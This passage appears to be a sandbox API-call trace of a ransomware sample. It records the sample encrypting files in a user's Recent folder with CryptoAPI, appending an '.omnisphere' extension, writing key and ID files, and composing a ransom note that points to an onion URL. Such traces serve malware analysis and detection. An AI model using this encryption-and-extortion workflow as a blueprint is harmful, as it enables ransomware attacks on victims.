pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.084] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.084] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.085] CloseHandle (hObject=0x28c) returned 1 [0127.085] GetProcessHeap () returned 0x1600000 [0127.085] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.085] GetProcessHeap () returned 0x1600000 [0127.085] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d94a8 | out: hHeap=0x1600000) returned 1 [0127.085] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x209518bd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x209518bd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x209518bd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x319, dwReserved0=0x0, dwReserved1=0xd3, cFileName="tx_oE.lnk", cAlternateFileName="")) returned 1 [0127.085] GetProcessHeap () returned 0x1600000 [0127.085] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x167be48 [0127.085] PathCombineW (in: pszDest=0x167be48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="tx_oE.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tx_oE.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tx_oE.lnk" [0127.085] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tx_oE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tx_oe.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.086] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=793) returned 1 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.086] GetTickCount () returned 0x115fb64 [0127.087] GetTickCount () returned 0x115fb64 [0127.087] GetTickCount () returned 0x115fb64 [0127.087] GetTickCount () returned 0x115fb64 [0127.087] GetTickCount () returned 0x115fb64 [0127.087] GetTickCount () returned 0x115fb64 [0127.087] GetTickCount () returned 0x115fb64 [0127.087] GetTickCount () returned 0x115fb64 [0127.087] GetTickCount () returned 0x115fb64 [0127.087] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669098) returned 1 [0127.087] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0127.087] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.088] CryptDestroyKey (hKey=0x16396a8) returned 1 [0127.088] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0127.088] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x319, lpName=0x0) returned 0x288 [0127.088] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x319) returned 0x1480000 [0127.088] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0127.089] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0127.089] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.089] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.090] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.091] CryptDestroyKey (hKey=0x16396a8) returned 1 [0127.091] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0127.091] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x319, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.091] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.091] GetProcessHeap () returned 0x1600000 [0127.091] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a4) returned 0x16edb80 [0127.091] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tx_oE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tx_oe.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tx_oE.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tx_oe.lnk.omnisphere")) returned 1 [0127.092] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tx_oE.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tx_oE.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tx_oE.lnk.omnisphere.id" [0127.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tx_oE.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tx_oe.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.093] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.094] CloseHandle (hObject=0x3c0) returned 1 [0127.094] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.094] CloseHandle (hObject=0x288) returned 1 [0127.095] SetEndOfFile (hFile=0x28c) returned 1 [0127.095] FlushFileBuffers (hFile=0x28c) returned 1 [0127.099] CloseHandle (hObject=0x28c) returned 1 [0127.099] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tx_oE.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.099] GetProcessHeap () returned 0x1600000 [0127.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f18b8 [0127.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.099] GetProcessHeap () returned 0x1600000 [0127.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5c30 [0127.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5c30, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.099] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.099] GetProcessHeap () returned 0x1600000 [0127.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d83c8 [0127.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d83c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.099] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.099] GetProcessHeap () returned 0x1600000 [0127.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d94a8 [0127.100] PathCombineW (in: pszDest=0x16d94a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.100] GetProcessHeap () returned 0x1600000 [0127.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e49a0 [0127.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.100] WriteFile (in: hFile=0x28c, lpBuffer=0x16e49a0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e49a0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.100] CloseHandle (hObject=0x28c) returned 1 [0127.100] GetProcessHeap () returned 0x1600000 [0127.100] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f18b8 | out: hHeap=0x1600000) returned 1 [0127.100] GetProcessHeap () returned 0x1600000 [0127.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.100] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.101] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.101] CloseHandle (hObject=0x28c) returned 1 [0127.101] GetProcessHeap () returned 0x1600000 [0127.101] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.101] GetProcessHeap () returned 0x1600000 [0127.101] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167be48 | out: hHeap=0x1600000) returned 1 [0127.101] 